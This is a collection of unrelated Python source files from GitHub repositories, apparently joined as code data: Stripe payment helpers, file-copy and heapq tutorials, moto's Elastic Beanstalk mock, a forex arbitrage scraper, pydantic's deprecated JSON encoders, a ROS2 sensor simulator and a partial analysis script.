customer=customer,\n subscription=subscription\n )\n invoice_object.pay()\n return stripe.Invoice.retrieve(invoice_object.id), {}\n\n\n@catch_stripe_exceptions\ndef payment_history(customer, limit=20, starting_after=None):\n return stripe.Invoice.list(customer=customer, limit=limit, starting_after=starting_after), {}\n\n\n@catch_stripe_exceptions\ndef card_create(user, stripe_token):\n customer, response_customer = get_customer(user=user, create_without_card=True)\n if not customer:\n return customer, response_customer\n\n card = customer.sources.create(source=stripe_token)\n customer.default_source = card.id\n customer.save()\n return card, {}\n\n\n@catch_stripe_exceptions\ndef card_list(user, limit=20, starting_after=None):\n customer, response_customer = get_customer(user=user, create_without_card=True)\n if not customer:\n return customer, response_customer\n\n cards = customer.sources.all(object='card', limit=limit, starting_after=starting_after)\n return cards, {}\n\n\n@catch_stripe_exceptions\ndef card_delete(user, card_id):\n customer, response_customer = get_customer(user=user, create_without_card=True)\n if not customer:\n return customer, response_customer\n\n customer.sources.retrieve(card_id).delete()\n return True, {}\n\n\n@catch_stripe_exceptions\ndef card_default(user, card_id=None):\n customer, response_customer = get_customer(user=user, create_without_card=True)\n if not customer:\n return customer, response_customer\n if card_id:\n customer.default_source = card_id\n customer.save()\n return {'id': customer.default_source}, {}\n","repo_name":"ebar0n/D-PackageBackend","sub_path":"api/sw_users/stripe.py","file_name":"stripe.py","file_ext":"py","file_size_in_byte":5743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18364884103","text":"import json\nimport srvmon\n\nif __name__ == '__main__':\n # define env\n env='live'\n\n # read meta + config\n meta = json.loads(open('meta.json').read())\n config = json.loads(open('config.json').read())[env]\n\n # run\n srvmon.run_srvmon(meta,config)\n","repo_name":"noshoesnoshirtnoties/spqr-pavlov-srvmon","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24798583920","text":"# 需求:输入一个文件路径,然后拷贝一份相同的文件\n'''\n思路:\n1.先打开旧文件\n2.判断文件是否存在,如果存在则打开,os.path.isfile()方法判断\n3.把旧文件的命名以元组的形式切片,可使用os.path.splitext()方法或者rpartition()方法\n4.重命名新文件。把新文件名加上bak,bak为备份的缩写,默认使用\n5.打开新文件,以写入的方式\n6.写入内容为旧文件的内容\n7。关闭新、旧文件\n\n'''\n\n'''\nimport os\n\nfile_name = input('输入一个文件路径:')\nif os.path.isfile(file_name):\n\n old_file = open(file_name, encoding='utf8')\n # 名称切片方法一: rpartition('.'),以.分隔\n # names = file_name.rpartition('.')\n # print(names)\n # new_file_name = names[0]+'.bak.'+names[2]\n\n # 名称切片方法二:os.path.splitext()方法,将文件名以名称加后缀的形式隔开\n names = os.path.splitext(file_name)\n print(names)\n new_file_name = names[0] + '.bak' + names[1]\n new_file = open(new_file_name, 'w', encoding='utf8')\n new_file.write(old_file.read())\n\n old_file.close()\n new_file.close()\nelse:\n print('您输入的文件路径有问题')\n'''\n\n# 优化方案:以二进制的形式读取,以二进制的形式写入\n# 方案优势:什么样的文件都可以拷贝\nimport os # 导入os模块,以便后面调用path方法\n\nfile_name = input('输入一个文件路径:')\n# 判断文件是否存\nif os.path.isfile(file_name):\n\n # 以二进制的方式读取文件\n old_file = open(file_name, 'rb')\n\n # 调用splitext方法把原文件名切片\n names = os.path.splitext(file_name)\n print(names)\n\n # 新文件名的命名中间加’_bak‘\n new_file_name = names[0] + '_bak' + names[1]\n\n # 以二进制写入的形式打开新文件\n new_file = open(new_file_name, 'wb')\n while True: # 使用循环1024的方式读取全部文件\n content = old_file.read(1024) # 降低解析压力,释放内存空间\n new_file.write(content) # 读一点写一点\n if not content:\n break\n\n old_file.close()\n new_file.close()\nelse:\n print('您输入的文件路径有问题')\n","repo_name":"weizt/python_studying","sub_path":"文件、异常/05-文件的拷贝.py","file_name":"05-文件的拷贝.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"10774696711","text":"#coding:utf-8\r\n\r\n#查找最大或最小的N个元素\r\nnums = [1, 8, 2, 23, 7, -4, 18, 23, 42, 37, 2]\r\nsorted(nums)[-3:] #返回最大的三个元素\r\nsorted(nums)[::-1] #倒序\r\n\r\n#查找最大或最小的N个元素\r\nnums = [1, 8, 2, 23, 7, -4, 18, 23, 42, 37, 2]\r\nimport heapq\r\nheapq.heapify(nums)\r\nnums[0] #永远是最小的元素\r\nheapq.nlargest(3,nums) #最大的三个元素\r\nheapq.nsmallest(3,nums) #最小的三个元素\r\n","repo_name":"aboutxyz/pythoncooktest","sub_path":"查找最大或最小的N个元素.py","file_name":"查找最大或最小的N个元素.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32303527981","text":"import weakref\nfrom typing import Dict, List\n\nfrom moto.core import BaseBackend, BackendDict, BaseModel\n\nfrom .exceptions import (\n InvalidParameterValueError,\n ResourceNotFoundException,\n ApplicationNotFound,\n)\nfrom .utils import make_arn\n\n\nclass FakeEnvironment(BaseModel):\n def __init__(\n self,\n application: \"FakeApplication\",\n environment_name: str,\n solution_stack_name: str,\n tags: Dict[str, str],\n ):\n self.application = weakref.proxy(\n application\n ) # weakref to break circular dependencies\n self.environment_name = environment_name\n self.solution_stack_name = solution_stack_name\n self.tags = tags\n\n @property\n def application_name(self) -> str:\n return self.application.application_name\n\n @property\n def environment_arn(self) -> str:\n resource_path = f\"{self.application_name}/{self.environment_name}\"\n return make_arn(\n self.region, self.application.account_id, \"environment\", resource_path\n )\n\n @property\n def platform_arn(self) -> str:\n return \"TODO\" # TODO\n\n @property\n def region(self) -> str:\n return self.application.region\n\n\nclass FakeApplication(BaseModel):\n def __init__(\n self,\n backend: \"EBBackend\",\n application_name: str,\n ):\n self.backend = weakref.proxy(backend) # weakref to break cycles\n self.application_name = application_name\n self.environments: Dict[str, FakeEnvironment] = dict()\n self.account_id = self.backend.account_id\n self.region = self.backend.region_name\n self.arn = make_arn(\n self.region, self.account_id, \"application\", self.application_name\n )\n\n def create_environment(\n self, environment_name: str, solution_stack_name: str, tags: Dict[str, str]\n ) -> FakeEnvironment:\n if environment_name in self.environments:\n raise InvalidParameterValueError(message=\"\")\n\n env = FakeEnvironment(\n application=self,\n environment_name=environment_name,\n solution_stack_name=solution_stack_name,\n tags=tags,\n )\n self.environments[environment_name] = env\n\n return env\n\n\nclass EBBackend(BaseBackend):\n def __init__(self, region_name: str, account_id: str):\n super().__init__(region_name, account_id)\n self.applications: Dict[str, FakeApplication] = dict()\n\n @staticmethod\n def default_vpc_endpoint_service(\n service_region: str, zones: List[str]\n ) -> List[Dict[str, str]]:\n \"\"\"Default VPC endpoint service.\"\"\"\n return BaseBackend.default_vpc_endpoint_service_factory(\n service_region, zones, \"elasticbeanstalk\"\n ) + BaseBackend.default_vpc_endpoint_service_factory(\n service_region, zones, \"elasticbeanstalk-health\"\n )\n\n def create_application(self, application_name: str) -> FakeApplication:\n if application_name in self.applications:\n raise InvalidParameterValueError(\n f\"Application {application_name} already exists.\"\n )\n new_app = FakeApplication(backend=self, application_name=application_name)\n self.applications[application_name] = new_app\n return new_app\n\n def create_environment(\n self,\n app: FakeApplication,\n environment_name: str,\n stack_name: str,\n tags: Dict[str, str],\n ) -> FakeEnvironment:\n return app.create_environment(\n environment_name=environment_name, solution_stack_name=stack_name, tags=tags\n )\n\n def describe_environments(self) -> List[FakeEnvironment]:\n envs = []\n for app in self.applications.values():\n for env in app.environments.values():\n envs.append(env)\n return envs\n\n def list_available_solution_stacks(self) -> None:\n # Implemented in response.py\n pass\n\n def update_tags_for_resource(\n self, resource_arn: str, tags_to_add: Dict[str, str], tags_to_remove: List[str]\n ) -> None:\n try:\n res = self._find_environment_by_arn(resource_arn)\n except KeyError:\n raise ResourceNotFoundException(\n f\"Resource not found for ARN '{resource_arn}'.\"\n )\n\n for key, value in tags_to_add.items():\n res.tags[key] = value\n\n for key in tags_to_remove:\n del res.tags[key]\n\n def list_tags_for_resource(self, resource_arn: str) -> Dict[str, str]:\n try:\n res = self._find_environment_by_arn(resource_arn)\n except KeyError:\n raise ResourceNotFoundException(\n f\"Resource not found for ARN '{resource_arn}'.\"\n )\n return res.tags\n\n def _find_environment_by_arn(self, arn: str) -> FakeEnvironment:\n for app in self.applications.keys():\n for env in self.applications[app].environments.values():\n if env.environment_arn == arn:\n return env\n raise KeyError()\n\n def delete_application(\n self,\n application_name: str,\n ) -> None:\n if application_name:\n if application_name in self.applications:\n self.applications.pop(application_name)\n else:\n raise ApplicationNotFound(application_name)\n\n\neb_backends = BackendDict(EBBackend, \"elasticbeanstalk\")\n","repo_name":"getmoto/moto","sub_path":"moto/elasticbeanstalk/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5455,"program_lang":"python","lang":"en","doc_type":"code","stars":7174,"dataset":"github-code","pt":"48"} +{"seq_id":"32136586500","text":"import boto3\nimport json\nimport uuid\nimport time\nstream_name = 'twitter-stream'\n\nkinesis_client = boto3.client('kinesis', region_name='eu-west-2')\n\n# iterator\n\n# shard id\n# describe the stream\nstream_description = kinesis_client.describe_stream(StreamName=stream_name)\nprint(f'\\n{stream_description}')\n# get the shard ID\nshard_id = stream_description['StreamDescription']['Shards'][0]['ShardId']\nprint(f' \\nShard ID: {shard_id}')\n\n# get iterator\nshard_iterator = kinesis_client.get_shard_iterator(\n StreamName=stream_name,\n ShardId=shard_id,\n ShardIteratorType='TRIM_HORIZON'\n)\n\n# iterator hash \nshard_iterator_key = shard_iterator['ShardIterator']\n\n# data required to work this\nrecord_response = kinesis_client.get_records(ShardIterator=shard_iterator_key, Limit=2)\n\nwhile 'NextShardIterator' in record_response:\n record_response = kinesis_client.get_records(ShardIterator=record_response['NextShardIterator'])\n print(f'\\n \\n {record_response}')\n time.sleep(5)","repo_name":"aldookware/auto-send-tweets","sub_path":"kinesis_read.py","file_name":"kinesis_read.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"24215496914","text":"# -*- coding: utf-8 -*-\nimport requests\nimport re\nimport time\nimport datetime\nimport threading\nimport codecs\nimport tkinter\n\n\nFElist = ['GBPUSD','USDHKD','GBPHKD','EURUSD','USDCHF','CADUSD','USDJPY','EURJPY','GBPJPY','GBPCHF','CADJPY']\n# FElist = ['GBPUSD','USDHKD','GBPHKD']\nurl = \"http://nufm.dfcfw.com/EM_Finance2014NumericApplication/JS.aspx?type=CT&cmd=USDHKD0&sty=MPICT&st=z&sr=&p=&ps=&cb=callback_fill&js=&token=049db06d2bc9c947062f56de8b3b5648&0\"\nurllist = []\nprintdic = {}\npricelist = []\n\n# 定义一个函数让他能爬取网页上的信息\ndef GetHTMLtext(url): \n\ttry:\n\t\tr = requests.get(url, timeout = 30)\n\t\tr.raise_for_status()\n\t\tr.encoding = r.apparent_encoding\n\t\treturn r.text\n\texcept:\n\t\treturn \"\"\n\n# 获取价格\ndef GetPrice(text):\n\thtml = text\n\tpat = re.compile(r'\\d\\d.\\d\\d\\d|\\d\\.\\d\\d\\d\\d|\\d\\d\\d\\.\\d\\d') # 匹配文本中的小数\n\tlist_price = pat.findall(html) # 获得所有小数\n\tprice = list_price[2] # 价格是所有小数中的第3个\n\treturn price\n\n# 判断是否存在套汇机会\ndef Iftaohui(dict):\n\tif float(dict['GBPUSD']) * float(dict['USDHKD']) - float(dict['GBPHKD']) >= 0.0001:\n\t\tprint(u\"GBP、USD、HKD之间可以套汇\",\"收益为\",(float(dict['GBPUSD']) * float(dict['USDHKD']) - float(dict['GBPHKD'])))\n\telse:\n\t\tprint(u\"GBP、USD、HKD不能套汇,再等等\")\n\n\tif float(dict['GBPUSD']) * float(dict['USDJPY']) - float(dict['GBPJPY']) >= 0.0001:\n\t\tprint(u\"GBP、USD、JPY之间可以套汇\",\"收益为\",(float(dict['GBPUSD']) * float(dict['USDJPY']) - float(dict['GBPJPY'])))\n\telse:\n\t\tprint(u\"GBP、USD、JPY不能套汇,再等等\")\n\n\tif float(dict['GBPUSD']) * float(dict['USDCHF']) - float(dict['GBPCHF']) >= 0.0001:\n\t\tprint(u\"GBP、USD、CHF之间可以套汇\",\"收益为\",(float(dict['GBPUSD']) * float(dict['USDCHF']) - float(dict['GBPCHF'])))\n\telse:\n\t\tprint(u\"GBP、USD、CHF不能套汇,再等等\")\n\n\tif float(dict['CADUSD']) * float(dict['USDJPY']) - float(dict['CADJPY']) >= 0.0001:\n\t\tprint(u\"CAD、USD、JPY之间可以套汇\",\"收益为\",(float(dict['CADUSD']) * float(dict['USDJPY']) - float(dict['CADJPY'])))\n\telse:\n\t\tprint(u\"CAD、USD、JPY再等等\")\n\n\tif float(dict['EURUSD']) * float(dict['USDJPY']) - float(dict['EURJPY']) >= 0.0001:\n\t\tprint(u\"EUR、USD、JPY之间可以套汇\",\"收益为\",(float(dict['EURUSD']) * float(dict['USDJPY']) - float(dict['EURJPY'])))\n\telse:\n\t\tprint(u\"EUR、USD、JPY再等等\")\n\n# 整合信息形成字典\ndef Collect(url):\n\t# url = url\n\ttext = GetHTMLtext(url)\n\tprice = GetPrice(text)\n\tpricelist.append(float(price))\n\tpat = re.compile(r'[A-Z][A-Z][A-Z][A-Z][A-Z][A-Z]')\n\ta = pat.findall(url)\n\tdictoadd = {a[0]: price}\n\tprintdic.update(dictoadd)\n\n# 定义主函数\n\n\"\"\"\n# 根据外汇的列表来获得全部的url链接\nfor i in FElist:\n\tpat = re.compile(r'[A-Z][A-Z][A-Z][A-Z][A-Z][A-Z]')\n\ta = pat.findall(url)\n\tnewurl = url.replace(a[0], i)\n\turllist.append(newurl)\n\"\"\"\n\n\"\"\"\n# 主要部分\nif __name__ == '__main__':\n\twhile True:\n\t\ttime.sleep(0.5)\n\t\tprint (\"Time:\",datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n\t\tfor i in urllist:\n\t\t\tmain(i)\n\t\tfor j in printdic:\n\t\t\tprint(j)\n\t\tIftaohui(pricelist)\n\t\tprintdic = []\n\t\tpricelist = []\n\t\tprint(\"————————————————-——————————————————\")\n\"\"\"\n\n\n\n# 定义主函数\ndef main():\n\tglobal printdic\n\tglobal pricelist\n\t#global urllist\n\t# 根据外汇的列表来获得全部的url链接\n\tfor i in FElist:\n\t\tpat = re.compile(r'[A-Z][A-Z][A-Z][A-Z][A-Z][A-Z]')\n\t\ta = pat.findall(url)\n\t\tnewurl = url.replace(a[0], i)\n\t\turllist.append(newurl)\n\n\t# 打印部分\n\twhile True:\n\t\ttime.sleep(2)\n\t\tthread = []\n\t\tprint (\"Time:\",datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n\n\t\t'''\n\t\tt1 = threading.Thread(target = Collect, args = (urllist[0],))\n\t\tthread.append(t1)\n\t\tt2 = threading.Thread(target = Collect, args = (urllist[1],))\n\t\tthread.append(t2)\n\t\tt3 = threading.Thread(target = Collect, args = (urllist[2],))\n\t\tthread.append(t3)\n\t\t'''\n\t\tfor i in urllist:\n\t\t\tt = threading.Thread(target = Collect,\n\t\t\t\targs = (i,))\n\t\t\tthread.append(t)\n\n\t\tfor i in range(0,11):\n\t\t\tthread[i].start()\n\n\t\tfor i in range(0,11):\n\t\t\tthread[i].join()\n\n\t\tfor key, value in printdic.items():\n\t\t\tprint('{key}:{value}'.format(key = key, value = value))\n\n\t\tIftaohui(printdic)\n\t\tprintdic = {}\n\t\tpricelist = []\n\t\tprint(\"——————————————————————————————————————————————————————————\")\n\n# 启动程序,开始循环\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"gao412/FECraw","sub_path":"newversion.py","file_name":"newversion.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33745698710","text":"import numpy as np\nimport os, sys\nimport argparse\nimport csv\n\nparser = argparse.ArgumentParser('Character-based Model for LAS')\nparser.add_argument('--data-path', default='all', type=str, help='Path to data')\nparser.add_argument('--write-file', default='', type=str, help='csv file to write vocabulary')\nparser.add_argument('--trans-file', default='', type=str, help='new transcript (npy) file to write to')\nparser.add_argument('--first', default=1, type=int, help='if vocab.csv needs to be generated')\n\nargs = parser.parse_args()\norig_transcripts = np.load(args.data_path)\nvocab = {'SOS': 0, 'EOS':1, ' ':2}\ncount = 3\nnew_word = []\nnew_transcript = []\nindex = 0\nfor example in orig_transcripts:\n new_transcript.append([])\n new_transcript[index].append(int(vocab['SOS']))\n for word in example:\n decoded_word = word.decode('utf-8')\n for l in range(len(decoded_word)):\n if decoded_word[l] not in vocab.keys():\n vocab[decoded_word[l]] = count\n count += 1\n\n new_transcript[index].append(int(vocab[decoded_word[l]]))\n new_transcript[index].append(int(vocab[' ']))\n new_transcript[index].append(int(vocab['EOS']))\n new_transcript[index] = np.array(new_transcript[index])\n index += 1\n\nnp.save(os.path.join('', args.trans_file), np.array(new_transcript))\nif args.first:\n with open(os.path.join('', args.write_file), 'w') as csvfile:\n writer = csv.writer(csvfile)\n for key, value in vocab.items():\n writer.writerow([key, value])\n","repo_name":"mira-murali/speech-to-text-DNN","sub_path":"charModel.py","file_name":"charModel.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17729971473","text":"import datetime\nimport warnings\nfrom collections import deque\nfrom decimal import Decimal\nfrom enum import Enum\nfrom ipaddress import IPv4Address, IPv4Interface, IPv4Network, IPv6Address, IPv6Interface, IPv6Network\nfrom pathlib import Path\nfrom re import Pattern\nfrom types import GeneratorType\nfrom typing import TYPE_CHECKING, Any, Callable, Dict, Type, Union\nfrom uuid import UUID\n\nfrom typing_extensions import deprecated\n\nfrom ..color import Color\nfrom ..networks import NameEmail\nfrom ..types import SecretBytes, SecretStr\nfrom ..warnings import PydanticDeprecatedSince20\n\nif not TYPE_CHECKING:\n # See PyCharm issues https://youtrack.jetbrains.com/issue/PY-21915\n # and https://youtrack.jetbrains.com/issue/PY-51428\n DeprecationWarning = PydanticDeprecatedSince20\n\n__all__ = 'pydantic_encoder', 'custom_pydantic_encoder', 'timedelta_isoformat'\n\n\ndef isoformat(o: Union[datetime.date, datetime.time]) -> str:\n return o.isoformat()\n\n\ndef decimal_encoder(dec_value: Decimal) -> Union[int, float]:\n \"\"\"Encodes a Decimal as int of there's no exponent, otherwise float.\n\n This is useful when we use ConstrainedDecimal to represent Numeric(x,0)\n where a integer (but not int typed) is used. Encoding this as a float\n results in failed round-tripping between encode and parse.\n Our Id type is a prime example of this.\n\n >>> decimal_encoder(Decimal(\"1.0\"))\n 1.0\n\n >>> decimal_encoder(Decimal(\"1\"))\n 1\n \"\"\"\n exponent = dec_value.as_tuple().exponent\n if isinstance(exponent, int) and exponent >= 0:\n return int(dec_value)\n else:\n return float(dec_value)\n\n\nENCODERS_BY_TYPE: Dict[Type[Any], Callable[[Any], Any]] = {\n bytes: lambda o: o.decode(),\n Color: str,\n datetime.date: isoformat,\n datetime.datetime: isoformat,\n datetime.time: isoformat,\n datetime.timedelta: lambda td: td.total_seconds(),\n Decimal: decimal_encoder,\n Enum: lambda o: o.value,\n frozenset: list,\n deque: list,\n GeneratorType: list,\n IPv4Address: str,\n IPv4Interface: str,\n IPv4Network: str,\n IPv6Address: str,\n IPv6Interface: str,\n IPv6Network: str,\n NameEmail: str,\n Path: str,\n Pattern: lambda o: o.pattern,\n SecretBytes: str,\n SecretStr: str,\n set: list,\n UUID: str,\n}\n\n\n@deprecated(\n 'pydantic_encoder is deprecated, use pydantic_core.to_jsonable_python instead.', category=PydanticDeprecatedSince20\n)\ndef pydantic_encoder(obj: Any) -> Any:\n from dataclasses import asdict, is_dataclass\n\n from ..main import BaseModel\n\n warnings.warn('pydantic_encoder is deprecated, use BaseModel.model_dump instead.', DeprecationWarning, stacklevel=2)\n if isinstance(obj, BaseModel):\n return obj.model_dump()\n elif is_dataclass(obj):\n return asdict(obj)\n\n # Check the class type and its superclasses for a matching encoder\n for base in obj.__class__.__mro__[:-1]:\n try:\n encoder = ENCODERS_BY_TYPE[base]\n except KeyError:\n continue\n return encoder(obj)\n else: # We have exited the for loop without finding a suitable encoder\n raise TypeError(f\"Object of type '{obj.__class__.__name__}' is not JSON serializable\")\n\n\n# TODO: Add a suggested migration path once there is a way to use custom encoders\n@deprecated('custom_pydantic_encoder is deprecated.', category=PydanticDeprecatedSince20)\ndef custom_pydantic_encoder(type_encoders: Dict[Any, Callable[[Type[Any]], Any]], obj: Any) -> Any:\n # Check the class type and its superclasses for a matching encoder\n warnings.warn(\n 'custom_pydantic_encoder is deprecated, use BaseModel.model_dump instead.', DeprecationWarning, stacklevel=2\n )\n for base in obj.__class__.__mro__[:-1]:\n try:\n encoder = type_encoders[base]\n except KeyError:\n continue\n\n return encoder(obj)\n else: # We have exited the for loop without finding a suitable encoder\n return pydantic_encoder(obj)\n\n\n@deprecated('timedelta_isoformat is deprecated.', category=PydanticDeprecatedSince20)\ndef timedelta_isoformat(td: datetime.timedelta) -> str:\n \"\"\"ISO 8601 encoding for Python timedelta object.\"\"\"\n warnings.warn('timedelta_isoformat is deprecated.', DeprecationWarning, stacklevel=2)\n minutes, seconds = divmod(td.seconds, 60)\n hours, minutes = divmod(minutes, 60)\n return f'{\"-\" if td.days < 0 else \"\"}P{abs(td.days)}DT{hours:d}H{minutes:d}M{seconds:d}.{td.microseconds:06d}S'\n","repo_name":"pydantic/pydantic","sub_path":"pydantic/deprecated/json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":4465,"program_lang":"python","lang":"en","doc_type":"code","stars":16514,"dataset":"github-code","pt":"48"} +{"seq_id":"8623541226","text":"#UPDATED 9/5/2n\n\n#!/usr/bin/env python\n\n\"\"\"\n\n This file is part of Enbarr.\n\n Enbarr is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n Enbarr is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with Enbarr. If not, see .\n\n\"\"\"\n\nimport rclpy\nfrom rclpy.node import Node\n\nimport numpy as np\nfrom auv.msg import Ninedof\n\n\nclass SimulateNineDof(Node):\n\n def __init__(self):\n super().__init__('simulate_nineDof')\n self.publisher_ = self.create_publisher(Ninedof, 'ninedof_values', 10)\n timer_period = 0.5 # seconds\n self.timer = self.create_timer(timer_period, self.timer_callback)\n self.i = 0\n\n def timer_callback(self):\n sendval_ninedof = Ninedof()\n\n sendval_ninedof.orientation.roll = np.random.normal()\n sendval_ninedof.orientation.pitch = np.random.normal()\n sendval_ninedof.orientation.yaw = np.random.normal()\n sendval_ninedof.translation.x = np.random.normal()\n sendval_ninedof.translation.y = np.random.normal()\n sendval_ninedof.translation.z = np.random.normal()\n \n self.publisher_.publish(sendval_ninedof)\n self.get_logger().info('Publishing: \"%s\"' % sendval_ninedof)\n self.i += 1\n\n\ndef main(args=None):\n rclpy.init(args=args)\n\n simulate_nineDof = SimulateNineDof()\n\n rclpy.spin(simulate_nineDof)\n\n # Destroy the node explicitly\n # (optional - otherwise it will be done automatically\n # when the garbage collector destroys the node object)\n simulate_nineDof.destroy_node()\n rclpy.shutdown()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"WIT-IEEE-MATE-ROV/wurov_ros2","sub_path":"wurov/wurov/plugins/sensors/simulate_nineDof.py","file_name":"simulate_nineDof.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23483927125","text":"import pymel.core as pc\n\nclass PostfixHierarchyUI(object):\n winName = 'PostfixHierarchyUI'\n\n def __init__(self):\n\n if pc.window(self.winName, exists=True):\n pc.deleteUI(self.winName)\n\n with pc.window(self.winName) as self.win:\n with pc.columnLayout(adj=True):\n self.hierBox = pc.checkBox('Select by Hierarchy', value=True)\n with pc.rowLayout(nc=2):\n with pc.optionMenu(cc=self.changeOption) as self.postfixOption:\n pc.menuItem(label='low')\n pc.menuItem(label='high')\n pc.menuItem(label='custom')\n self.customText = pc.textField(text='')\n\n self.doButton = pc.button('Apply Postfix', c=self.do)\n self.customText.setEnable(False)\n\n def show(self):\n self.win.showWindow()\n\n def do(self, *args):\n postfix = self.postfixOption.getValue()\n custom_postfix = self.customText.getText().strip().strip('_')\n if postfix == 'custom':\n postfix = custom_postfix\n rep = list(replaceable_words)\n rep.append(custom_postfix)\n postfixHierarchy(word=postfix, hier=self.hierBox.getValue(),\n replaceable_words=rep)\n\n def changeOption(self, *args):\n if self.postfixOption.getValue() == 'custom':\n self.customText.setEnable(True)\n else:\n self.customText.setEnable(False)\n\n\nreplaceable_words = ( 'high', 'low' )\ndef postfixHierarchy(word='low', sep='_', hier=False,\n replaceable_words=replaceable_words):\n for node in pc.ls(sl=1, dag=hier, type='transform'):\n word.strip()\n word.replace(' ', '_')\n word.strip('_')\n name = node.name()\n parents = name.split('|')\n splits = parents[-1].split(sep)\n if len(splits) >= 2:\n last_word = splits[-1]\n if replaceable_words is None or last_word in replaceable_words:\n splits.pop()\n parents[-1] = '_'.join(splits)\n name = '|'.join(parents)\n newname = name\n if word:\n newname = name + sep + word\n node.rename(newname)\n\nif __name__ == \"__main__\":\n PostfixHierarchyUI()\n","repo_name":"iceanimations/postfixHierarchy","sub_path":"_postfix.py","file_name":"_postfix.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11848767983","text":"#\n# merge sen scores with region files\n#\n\nMODEL = \"ir\" # ir, rs, aad, uni\n\nBASE_PATH = \"...\"\n\nSEN_PATH = f\"{BASE_PATH}/nuc1-norm-{MODEL}-xe24.csv\"\n\n\nCODED_PATH = f\"coded-sen-{MODEL}.csv\" \nCODED_NUC_PATH = CODED_PATH.replace(\".csv\", \"-nuc.csv\")\n\nREGION_FAT_PATH = f\"{BASE_PATH}/out-fat.csv\"\nREGION_EPI_PATH = f\"{BASE_PATH}/out-epi.csv\"\nREGION_TDLU_PATH = f\"{BASE_PATH}/out-tdlu.csv\"\n\nTEXT_COLS = [0,1] \nDATA_COLS = ['yng', 'sen']\nALL_COLS = ['key', 'y' ] + DATA_COLS \n\n\nREGION_TEXT_COLS = [0,1]\nREGION_COLS = ['key', 'ishere']\n\n\nCANCER_META_TEXT_COLS = [0,1,2,5,6,7,8,9,11]\nCANCER_META_COLS = ['Barcode','Race','Hispanic','Age','BMI','Donation Year','Biopsy Side','Cancer Side','Self-Report Histology','Cancer Registry Histology','Year Diagnosed','Notes']\n\nTEXT_COLS_MORPH = [0,1]\nDATA_COLS_MORPH = ['x', 'y', 'w', 'h', 'min_wh1', 'min_wh2', 'perimeter', 'area', 'hull_perimeter', 'hull_area', 'imean', 'imed', 'i95', 'i99']\nALL_COLS_MORPH = ['key', 'idx'] + DATA_COLS_MORPH \n\nTISSUE_ORDER = ['epi', 'fat', 'other']\n\n\nimport analyze_utils as autils\nimport numpy as np\nimport pandas as pd\nimport os, sys, re\n\n\nsys.path.append(os.path.abspath(\"..\"))\nfrom sampler import SampleManager\n\nautils.prep_pub()\n\n\ndata_mp = autils.load_csv(SEN_PATH, TEXT_COLS)\npdf = pd.DataFrame(data_mp, columns=ALL_COLS)\ndef get_code(key):\n pos = key.find(\"/\")\n key = key[0:pos]\n pos = key.find(\" \")\n if pos > 0:\n key = key[0:pos]\n return key\n\npdf['code'] = pdf['key'].apply(get_code)\n\ndef rekey(key):\n key = key.replace(\".tif\", \"\")\n key = key.replace(\".jpg\", \"\")\n key = re.sub(r'_\\d+(_\\d+_\\d+)', '\\\\1', key)\n return key\n\ndef tissue(row):\n fat = row['isfat']\n epi = row['isepi']\n tdlu = row['istdlu']\n \n if tdlu:\n return \"tdlu\"\n elif fat and epi:\n return \"both\"\n elif fat:\n return \"fat\"\n elif epi:\n return \"epi\"\n else:\n return \"stroma\"\n \ndata_mp = autils.load_csv(REGION_FAT_PATH, header=False, text_cols=REGION_TEXT_COLS, convert_str_None=True)\nreg_fat_df = pd.DataFrame(data_mp, columns=REGION_COLS)\n\ndata_mp = autils.load_csv(REGION_EPI_PATH, header=False, text_cols=REGION_TEXT_COLS, convert_str_None=True)\nreg_epi_df = pd.DataFrame(data_mp, columns=REGION_COLS)\n\ndata_mp = autils.load_csv(REGION_TDLU_PATH, header=False, text_cols=REGION_TEXT_COLS, convert_str_None=True)\nreg_tdlu_df = pd.DataFrame(data_mp, columns=REGION_COLS)\n\n\nreg_fat_df['key'] = reg_fat_df['key'].apply(rekey)\nreg_epi_df['key'] = reg_epi_df['key'].apply(rekey)\nreg_tdlu_df['key'] = reg_tdlu_df['key'].apply(rekey)\n\nreg_fat_df['ishere'] = (reg_fat_df['ishere'] == 'True')\nreg_epi_df['ishere'] = (reg_epi_df['ishere'] == 'True')\nreg_tdlu_df['ishere'] = (reg_tdlu_df['ishere'] == 'True')\n\n\ndup_keys = ['K107124/Series 1-0-_0_11x10_270_762', 'K106234/Series 1-0-_0_6x13_504_392','K107710/Series 1-0-_0_27x61_525_547','K108523/Series 1-0-_0_30x56_836_508']\n\nfor key in dup_keys:\n reg_fat_df = reg_fat_df.query(f\"key!='{key}'\")\n reg_epi_df = reg_epi_df.query(f\"key!='{key}'\")\n reg_tdlu_df = reg_tdlu_df.query(f\"key!='{key}'\")\n 